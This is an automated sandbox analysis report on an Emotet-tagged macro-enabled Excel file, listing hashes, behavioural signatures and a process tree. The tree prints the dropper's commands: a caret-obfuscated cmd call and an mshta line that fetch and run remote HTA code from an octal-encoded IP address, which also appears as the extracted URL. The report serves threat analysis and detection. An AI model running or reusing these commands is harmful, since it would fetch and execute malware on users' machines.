Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18-01-2022 05:13

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General

  • Target

    c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15.xlsm

  • Size

    110KB

  • MD5

    a1f20adb77868064a50bf9bc57f083e8

  • SHA1

    f016542608ddadb035c27ea0e8384dee30c72f51

  • SHA256

    c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15

  • SHA512

    8be3e16a5ed738328db940de7dce129cf7dbdfbefb3b1baa2d15d1c971fd9613bc5047aaea5bd13f6f74b9dff2f6b89c4c033e9a5d934781b9673bd6ff3b9180

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3632
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\system32\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        PID:1784

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3632-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3632-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

    Filesize

    64KB

    Download